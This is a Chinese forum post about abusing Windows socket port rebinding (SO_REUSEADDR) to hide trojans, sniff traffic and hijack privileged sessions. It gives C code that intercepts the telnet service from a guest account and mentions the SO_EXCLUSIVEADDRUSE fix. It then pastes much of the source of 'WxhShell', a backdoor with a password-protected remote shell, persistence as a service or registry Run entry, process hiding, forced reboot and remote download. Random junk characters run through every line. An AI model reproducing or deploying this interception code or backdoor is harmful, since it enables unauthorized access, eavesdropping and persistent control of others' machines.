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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c|hT\1XR,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m,|)$R  
B&},W*p  
  saddr.sin_family = AF_INET; {vf4l4J(  
KEfx2{k b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); rEfo)jod  
bf*VY&S- T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @gM>Lxj  
S`t@L}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z4B-fS]  
/9wmc2  
  这意味着什么?意味着可以进行如下的攻击: 0Z,a3)jcc  
)}|b6{{<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .$~zxd#zo  
jM07&o]D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) dd> qy  
Li2-G  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @w[2 BaDt  
3@*orm>em  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bw[s<z|LKA  
ZNN^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u|eV'-R)s  
mh7JPbX|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a`t <R  
*wu:fb2[(  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !ma%Zk  
xp68-&  
  #include *;u'W|"/~  
  #include }bA@QEJ  
  #include %j4AX  
  #include    sc)}r_|g  
  DWORD WINAPI ClientThread(LPVOID lpParam);   GB&^<@  
  int main() B{6wf)[O  
  { s k>E(Myo  
  WORD wVersionRequested; sngM4ikhs  
  DWORD ret; ]8~{C>ch$  
  WSADATA wsaData; Y Z.? k4>  
  BOOL val; '2=$pw  
  SOCKADDR_IN saddr; O*dtVX  
  SOCKADDR_IN scaddr; I|eYeJ3  
  int err; m6 V L  
  SOCKET s; edZhI  
  SOCKET sc; eWw# T^  
  int caddsize; ;GF+0~5>  
  HANDLE mt; o1^Rx5  
  DWORD tid;   ^(c.A YI  
  wVersionRequested = MAKEWORD( 2, 2 ); 8H7=vk+  
  err = WSAStartup( wVersionRequested, &wsaData ); % Ix   
  if ( err != 0 ) { wUJ>?u9  
  printf("error!WSAStartup failed!\n"); T-)lnrs^  
  return -1; 1Ax{Y#<  
  } \:Vm7Zg  
  saddr.sin_family = AF_INET; M4rK  
   q1_iV.G<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WH^^.^(i  
P+2@,?9#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Mq,2S  
  saddr.sin_port = htons(23); 57~/QEdy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {I^@BW-  
  { (5\VOCT>4%  
  printf("error!socket failed!\n"); 5N /NUs   
  return -1; U_.9H _G  
  } gF53[\w^v  
  val = TRUE; FzM<0FJRX  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 chs] ,7R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5!V%0EQqw  
  { H$4 4,8,m  
  printf("error!setsockopt failed!\n"); ^X\SwgD2w  
  return -1; e4mAKB s!  
  } /_{B_2i/>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  U rL|r.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;'i>^zX`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RIV + _}R  
n~Qo@%Jr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Zog&:]P'F  
  { /O {iL:`  
  ret=GetLastError(); `2l j{N  
  printf("error!bind failed!\n"); )1iqM]~;B  
  return -1; rjWn>M  
  } dh0nB  
  listen(s,2); +JlPQ~5  
  while(1) SDHJX8Hq  
  { u?%FD~l:uU  
  caddsize = sizeof(scaddr); /+JHnedK  
  //接受连接请求 a,`f`;\7N%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); W:S?_JM  
  if(sc!=INVALID_SOCKET) zkb[u"  
  { mO8E-D*3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?&_u$Nn  
  if(mt==NULL) sp8P[W1a  
  { rF\L}& Sw  
  printf("Thread Creat Failed!\n"); 4Gor*{  
  break; ~9ynlVb7)r  
  } \6L,jSoBl  
  } X')t6DQ(I  
  CloseHandle(mt); }BN!Xa  
  } 0 P2lq  
  closesocket(s); P+<4w  
  WSACleanup(); pSKw Xx  
  return 0; N;mJHr3[F  
  }   5v_vv'~  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0i4XS*vPv  
  { F|bg2)|du8  
  SOCKET ss = (SOCKET)lpParam; -I'Jm=q3]  
  SOCKET sc; vlVHoF;&  
  unsigned char buf[4096]; { YMO8  
  SOCKADDR_IN saddr; ,vs#(d6G  
  long num; hq*"S -N  
  DWORD val; ,*m{Q  
  DWORD ret; PUbfQg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5iZx -M  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hn[lhC  
  saddr.sin_family = AF_INET; TW~%1G_v  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 34c+70x7  
  saddr.sin_port = htons(23); =Ohro '   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =HHtLW.|,  
  { 8/"R&yAh  
  printf("error!socket failed!\n"); #I}w$j i  
  return -1; AOv>O52F/Q  
  } y"Ios:v@-  
  val = 100; !t!'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'BX U '  
  { +N2R'Phv  
  ret = GetLastError(); %G/(7l[W  
  return -1; L2> )HG  
  } }ki6(_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }DFZ9,gQ  
  { oCSJ<+[(C  
  ret = GetLastError(); ;U[W $w[  
  return -1; OICH:(t_  
  } b NR@d'U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) avy@)iO7  
  { Rc(E';uc  
  printf("error!socket connect failed!\n"); 4|h>.^  
  closesocket(sc); 7bL48W<QD  
  closesocket(ss); }iRRf_   
  return -1; xp%LXx j  
  } F0KNkL>&g  
  while(1) S.|%dz  
  { 1xjw=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 WQBpU?O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 f"Kl? IN8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $g  '4'  
  num = recv(ss,buf,4096,0); jygKw+C  
  if(num>0) seiE2F[  
  send(sc,buf,num,0); .6A{   
  else if(num==0) T)mh  
  break; 7VW/v4n  
  num = recv(sc,buf,4096,0); qJK-HF:#  
  if(num>0) ?7dV:]%~2  
  send(ss,buf,num,0); 4%*`' o$_  
  else if(num==0) N4w&g-  
  break; Dpkc9~z  
  } 5!qLJmd=  
  closesocket(ss); CO{AC~  
  closesocket(sc); V`xE&BI  
  return 0 ; +m4?a\U  
  } no9=K4h`  
%h}3}p#4  
'Ooq.jaK;/  
========================================================== r<pt_Cd  
XL`i9kV?  
下边附上一个代码,,WXhSHELL @!mjjeG+1  
j1K?QH=e#{  
========================================================== >=YQxm}GJ  
i+~H~k}"X  
#include "stdafx.h" @T)>akEOt  
[='<K  
#include <stdio.h> F32U;fp3  
#include <string.h> 0pA>w8mh  
#include <windows.h> }0 =gP?.kE  
#include <winsock2.h> gsVm)mkd  
#include <winsvc.h> oB%j3aAH  
#include <urlmon.h> M7c53fz  
`g'z6~c7n  
#pragma comment (lib, "Ws2_32.lib") 5Eu`1f?  
#pragma comment (lib, "urlmon.lib") Z[9f8/6<b  
seA=7c5E  
#define MAX_USER   100 // 最大客户端连接数 /OeOL3Y  
#define BUF_SOCK   200 // sock buffer :s#&nY  
#define KEY_BUFF   255 // 输入 buffer YQaL)t$0  
%kL]-Z  
#define REBOOT     0   // 重启 \= Wrh3  
#define SHUTDOWN   1   // 关机 w C-x'  
tNYCyw{K  
#define DEF_PORT   5000 // 监听端口 c1h?aP  
crU]P $a  
#define REG_LEN     16   // 注册表键长度 :JCe,1!3@  
#define SVC_LEN     80   // NT服务名长度 ]lA.?  
.1h1J  
// 从dll定义API M3YC@(N% k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "2GssBa  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); pF7S("#R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  &W? hCr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J" U!j  
@.l?V6g9T  
// wxhshell配置信息 -bp7X{&  
struct WSCFG { 6mC% zXR5  
  int ws_port;         // 监听端口 0]2@T=*kTY  
  char ws_passstr[REG_LEN]; // 口令 *7K)J8kq  
  int ws_autoins;       // 安装标记, 1=yes 0=no vR'rYDtU@  
  char ws_regname[REG_LEN]; // 注册表键名 0ae}!LO  
  char ws_svcname[REG_LEN]; // 服务名 \g:Bg%43h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e`;U9Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5<Y-?23  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E7j9A`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v}&J*}_XZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" MJG)fFl] O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nj7\vIR7  
jT:kk  
}; ]`\~(*;[W9  
WxS$yUu  
// default Wxhshell configuration O*PJr[Zou  
struct WSCFG wscfg={DEF_PORT, F/U38[  
    "xuhuanlingzhe", GKf%dK L  
    1, HKYJgx  
    "Wxhshell", ,dSP%?vV  
    "Wxhshell", X XC(R  
            "WxhShell Service", z[De?8=)  
    "Wrsky Windows CmdShell Service", RyZy2^0<  
    "Please Input Your Password: ", EALgBv>#ZL  
  1, T<~?7-O"  
  "http://www.wrsky.com/wxhshell.exe", )U:W 9%  
  "Wxhshell.exe" <9aa@c57  
    }; CYN")J8V  
_rfGn,@BH  
// 消息定义模块 2qDVAq^@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ( 2i{8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y1L7sH 9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0 A6% !h  
char *msg_ws_ext="\n\rExit."; 7A4_b8  
char *msg_ws_end="\n\rQuit."; K5:>  
char *msg_ws_boot="\n\rReboot..."; .u&GbM%Ga  
char *msg_ws_poff="\n\rShutdown..."; [TX5O\g![  
char *msg_ws_down="\n\rSave to "; /Pgc W  
^:,I #]  
char *msg_ws_err="\n\rErr!"; "[wP1n!G  
char *msg_ws_ok="\n\rOK!"; "yc@_+"\+  
U$AV"F&!&}  
char ExeFile[MAX_PATH]; "78BApjWT6  
int nUser = 0; '{:lP"\,L  
HANDLE handles[MAX_USER]; xQ@gh ( (  
int OsIsNt; SD=9fh0l  
DT>Giic  
SERVICE_STATUS       serviceStatus; m7NrS?7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; p^?]xD(  
jt4c*0z  
// 函数声明 uI+^8-HZ;  
int Install(void); IjnO2X  
int Uninstall(void); (xlA S  
int DownloadFile(char *sURL, SOCKET wsh); F!~oJ  
int Boot(int flag); QOKE9R#Y  
void HideProc(void); GB` G(a  
int GetOsVer(void); av4g/7=  
int Wxhshell(SOCKET wsl); yZqX[U  
void TalkWithClient(void *cs); |-.r9;-b  
int CmdShell(SOCKET sock); `T~~yM)q  
int StartFromService(void); rd!4u14  
int StartWxhshell(LPSTR lpCmdLine); g;t>jgX  
l|'{Cb   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1g bqHxWI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -+Ab[  
|(O _K(  
// 数据结构和表定义 ul[+vpH9  
SERVICE_TABLE_ENTRY DispatchTable[] = GJbU1k]  
{ 0ZjinWkR[  
{wscfg.ws_svcname, NTServiceMain}, 9{XC9 \~  
{NULL, NULL} pTIE.:g(  
}; ,5/zTLd   
ahqsbNu1  
// 自我安装 j;_ >,\  
int Install(void) %Astfn(U{4  
{ [+z*&~'  
  char svExeFile[MAX_PATH]; XonI   
  HKEY key; B3-;]6  
  strcpy(svExeFile,ExeFile); DXc3u^ L  
!%Qm{R  
// 如果是win9x系统,修改注册表设为自启动 7S)u7  
if(!OsIsNt) { eBxOa  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1 8kzR6(W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R[_UbN 28  
  RegCloseKey(key); 8@- UvT&o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'n0u6hCSb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,pMH`  
  RegCloseKey(key); ds D!)$  
  return 0; c(G;O )ikS  
    } KiO1l{.s8n  
  } KL6FmL)HH  
} 9|9Hk1  
else { {8Uk]   
D_)n\(3  
// 如果是NT以上系统,安装为系统服务 @?\[M9yK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lgaE2`0 [3  
if (schSCManager!=0) y{]iwO;  
{ B0#JX MX9  
  SC_HANDLE schService = CreateService 6N {|;R@2  
  ( Kzz]ZO*3  
  schSCManager, si.w1  
  wscfg.ws_svcname, yttIA/  
  wscfg.ws_svcdisp, KG8Km  
  SERVICE_ALL_ACCESS, =TG[isC/F9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P<{N)H 2r  
  SERVICE_AUTO_START, UgjY  
  SERVICE_ERROR_NORMAL, }[m,HA<j  
  svExeFile, tNbZ{=I>  
  NULL, f hS4Gb_  
  NULL, O0Sk?uJ <  
  NULL, ^P !} "  
  NULL, /R% Xkb  
  NULL T\Ld)'fNv  
  ); K,Z_lP_~Vw  
  if (schService!=0) N 56/\1R  
  { qL?`l;+  
  CloseServiceHandle(schService); |H7f@b]Sk  
  CloseServiceHandle(schSCManager); fNTe_akp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $m)[> C  
  strcat(svExeFile,wscfg.ws_svcname); )S 2GPn7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7U_OUUg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |SfmQ;  
  RegCloseKey(key); jX8,y  
  return 0; p a)2TL/@  
    } z),@YJU"z  
  } V'jvI  
  CloseServiceHandle(schSCManager); rS^+y{7  
} ]E!b&  
} ytg' {)  
JXA!l ?%  
return 1; zUCtH*  
} <W<>=vDzyE  
9C2DW,?  
// 自我卸载 N);2 2-  
int Uninstall(void) {,`)  
{ [c_o.`S_\  
  HKEY key; oe*Y(T\G  
Iurb?  
if(!OsIsNt) { [~#]p9|L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <1(j&U  
  RegDeleteValue(key,wscfg.ws_regname); =@E X!]=x  
  RegCloseKey(key); qkk!1W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wW?/`>@  
  RegDeleteValue(key,wscfg.ws_regname); vjz*B$  
  RegCloseKey(key); Bc^ MZ~+ip  
  return 0; ,8^QV3  
  } y m~  
} o+j~~P  
} qe{:9  
else { w%L::Z4  
qZz?i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !9ytZR*  
if (schSCManager!=0) RAps`)OR?  
{ :497]c3#5C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (_aM26s  
  if (schService!=0) gJUawK  
  { *t3uj  
  if(DeleteService(schService)!=0) { g4-UBDtYt  
  CloseServiceHandle(schService); K[~fpQGbV1  
  CloseServiceHandle(schSCManager); dNg5#?mzT5  
  return 0; ap y#8]  
  } XD=p:Ezh  
  CloseServiceHandle(schService); 'l7ey3B%  
  } 4gkaCk{]  
  CloseServiceHandle(schSCManager); U.,_zEbx,  
} 6< T@\E  
} y/(60H,{{  
B !}/4"  
return 1; ft" t  
} @G&2Tbj[`  
[zv@}@$  
// 从指定url下载文件 (m3 <)  
int DownloadFile(char *sURL, SOCKET wsh) PZjK6]N\  
{ `1fNB1c  
  HRESULT hr; ZS\~GQbG  
char seps[]= "/"; td"D&1eQ@  
char *token; EO: VH  
char *file; 8,DY0PGP  
char myURL[MAX_PATH]; e [ 9  
char myFILE[MAX_PATH]; 2YV*U_\L  
6*u WRjt  
strcpy(myURL,sURL); h .%)RW?  
  token=strtok(myURL,seps); @cC@(M~Ru  
  while(token!=NULL) 9H6%\#rw  
  { 6hX[5?}  
    file=token; {/E_l  
  token=strtok(NULL,seps); CqkY_z  
  } @7j$$  
sJ !<qb5!  
GetCurrentDirectory(MAX_PATH,myFILE); .WV5Gf)  
strcat(myFILE, "\\"); Q%Fa1h:2&  
strcat(myFILE, file); bnYd19>  
  send(wsh,myFILE,strlen(myFILE),0); LZ 3PQL  
send(wsh,"...",3,0); a58]#L~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5H!6 #pqM  
  if(hr==S_OK) LeT OVgjA|  
return 0; )U5Ba^"fI  
else xb22 :  
return 1; EK=PY  
7q;wj~  
} Q]7}" B&  
L55VS:'  
// 系统电源模块 pX LXkF?  
int Boot(int flag) S+* g  
{ ZK p9k6  
  HANDLE hToken; T5gL  
  TOKEN_PRIVILEGES tkp; EjDr   
qQ T ^d  
  if(OsIsNt) { Mr6q7  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l?Qbwv}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HV}*}Ty  
    tkp.PrivilegeCount = 1; OB5t+_ s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4;D>s8dgG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !bGMVw6_  
if(flag==REBOOT) { __OH gp 1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *< ?~  
  return 0; y|Vwy4tK9  
} PC55A1(T  
else { 'irHpN6n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nKu)j3o`  
  return 0; Vu1swq)l  
} 1 LUvs~Qu  
  } @5:#J !  
  else { }*>xSb1  
if(flag==REBOOT) { 3Q\k!$zq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >9i%Yuy](  
  return 0; l/6$BP U`  
} t[=teB v<  
else { ul!e!^qwx  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FNy-&{P2  
  return 0; fB"It~ p  
} <]wQ;14;H  
} FesUE_L2$  
<[Y@<  
return 1; 4E 32DG*  
} <C{uodFll  
kBr?Q  
// win9x进程隐藏模块 G'c6%;0)  
void HideProc(void) <<~swN  
{ >'g>CD!  
x4^* YZc$,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qtYVX:M@,  
  if ( hKernel != NULL ) h'|J$   
  { gWLhO|y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dxp.b$0t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *h)|K s  
    FreeLibrary(hKernel); s.j6" Q[W  
  } ywkyxt  
{O"N2W  
return; oF {u  
} -(1GmU5v(  
D9/PVd&#  
// 获取操作系统版本 OkfnxknZ|  
int GetOsVer(void) |:)ARH6l#  
{ {T'M4y=)i  
  OSVERSIONINFO winfo; _<m yM2z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yDmx)^En  
  GetVersionEx(&winfo); \l71Q/y6u`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dk[MT'DV  
  return 1; aYrbB#  
  else 6)j/"9oY  
  return 0; qfS ]vc_N  
} *)xjMTJ%  
dQ`=CIr  
// 客户端句柄模块 lSK<LytB  
int Wxhshell(SOCKET wsl) r$<4_*  
{ rfH Az  
  SOCKET wsh; 1|/-Ff"1@  
  struct sockaddr_in client; F|! ib5  
  DWORD myID; CEEAyip-c  
u1) #^?  
  while(nUser<MAX_USER) Qoom[@$  
{ bv9nDNPD4  
  int nSize=sizeof(client); r";;Fk#5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4B$|UG  
  if(wsh==INVALID_SOCKET) return 1; ~Sc{\ZJl  
&E0L 2gbI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zn2Qp  
if(handles[nUser]==0) cVuT|b^  
  closesocket(wsh); #CTeZ/g  
else *EllE+M{n  
  nUser++; mT&?DZ9<  
  } ~Hb2-V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qi=v}bp&  
)m<CmYr2  
  return 0; CA]u3bf~  
} 2kW*Z7@D  
A| s\5"??  
// 关闭 socket ;nbbKQ]u  
void CloseIt(SOCKET wsh) G' 0JK+=o  
{ s~g0VNu Y  
closesocket(wsh); i>{.Y};  
nUser--; [|tlTk   
ExitThread(0); #H-EOXy  
} kJk6lPSqi7  
b<8,'QgB  
// 客户端请求句柄 1;"DIsz@d  
void TalkWithClient(void *cs) zY2o;-d|4  
{ cg).b?g  
&at>sQ'  
  SOCKET wsh=(SOCKET)cs; ]%eyrbU  
  char pwd[SVC_LEN]; %[WOQ.Sh  
  char cmd[KEY_BUFF]; Bhg,P.7  
char chr[1]; kX "*kD  
int i,j; ?G<.W[3  
49-wFF  
  while (nUser < MAX_USER) { N-YCOSUu  
='Fh^]*5  
if(wscfg.ws_passstr) { "a=dx| Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6S&OE k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DW >|'w%  
  //ZeroMemory(pwd,KEY_BUFF); =cWg 39$(I  
      i=0; xV>sc;PEb  
  while(i<SVC_LEN) { {pz7ADK<  
J?_-Dg(=  
  // 设置超时 mIah[~G  
  fd_set FdRead; cxpG6c  
  struct timeval TimeOut; vu|-}v?:  
  FD_ZERO(&FdRead); -h%1rw  
  FD_SET(wsh,&FdRead); 4gh` >  
  TimeOut.tv_sec=8; l9vJ]   
  TimeOut.tv_usec=0; TxvvCV^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  >B$J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $5N\sdyZxg  
Y_,Tm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tf4clzSTa  
  pwd=chr[0]; ]:}x 4O#  
  if(chr[0]==0xd || chr[0]==0xa) { 6oy[0hj  
  pwd=0; /0(c-Dv  
  break; BNq6dz$J  
  } 5 Mz6/&`  
  i++; vE C#W43l  
    } .Zm de*b  
*^i"q\n5(  
  // 如果是非法用户,关闭 socket u]MQ(@HHF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fir#5,*q|  
} W-<`Vo'  
(o518fmR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +6Ye'IOG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9"cyZO  
35n'sVn  
while(1) { 9O|k|FD  
yII+#?D  
  ZeroMemory(cmd,KEY_BUFF); V@pUU~6R  
nQ08(8  
      // 自动支持客户端 telnet标准   N4$ K {  
  j=0; Ls/*&u  
  while(j<KEY_BUFF) { PasVfC@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C"R}_C|r)*  
  cmd[j]=chr[0]; &x)nK  
  if(chr[0]==0xa || chr[0]==0xd) { >9,:i)m_  
  cmd[j]=0; 0S&C[I o6  
  break; K96N{"{iI%  
  } N ,nvAM  
  j++; \:9<d@?  
    } VfkQc$/  
L7nW_  
  // 下载文件 BE)&.}l  
  if(strstr(cmd,"http://")) { MN[D)RKh;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P#-p* 4  
  if(DownloadFile(cmd,wsh)) _@! yj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); />2zKF?  
  else to(lE2`.da  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q+{yv  
  } [E)&dl_k  
  else { 3*#$:waGd  
" 1%\Fil  
    switch(cmd[0]) { }%`f%/  
  V?"1&m& E  
  // 帮助 TTD#ovo'  
  case '?': { kJpr:4;@_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UL]zuW/  
    break; }gKY_e3  
  } Xa_:B\ic  
  // 安装 [BKOK7QK|  
  case 'i': { cK\'D  
    if(Install()) %|B$y;q^3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )0zg1z  
    else 5#mHWBGd7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Y1RPO41J  
    break; z-^/<u1p  
    } }fL ]}&  
  // 卸载 H $mZ?  
  case 'r': { ~toR)=Yv  
    if(Uninstall()) dpcU`$kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :eFyd`Syw  
    else ~~}8D"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]T._TZ"  
    break; %e+{wU}w?2  
    } E&>;a!0b]  
  // 显示 wxhshell 所在路径 9F7}1cH7g@  
  case 'p': { XwDt8TxL  
    char svExeFile[MAX_PATH]; Mo]aB:a  
    strcpy(svExeFile,"\n\r"); >%A~ :  
      strcat(svExeFile,ExeFile); y(X^wC  
        send(wsh,svExeFile,strlen(svExeFile),0); ?d_vD@+\  
    break; q@i.4>x  
    } 6W9lKD_i  
  // 重启 YM#J_sy@J.  
  case 'b': { ]l^" A~va  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zqxN/H]z  
    if(Boot(REBOOT)) ?MOjtAG0_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )i[K1$x2  
    else { uTvf[%EHW  
    closesocket(wsh); N`O0jH{  
    ExitThread(0); >N"=10  
    } )3^#CD  
    break; d(^3S>V|q  
    } ~h$ H@&5  
  // 关机 F]cc?r312  
  case 'd': { r o8C^d]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (@Eb+8Zd  
    if(Boot(SHUTDOWN)) 6kO+E5;X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wlpcuz@  
    else { 0s6eF+bs  
    closesocket(wsh); ]L?WC  
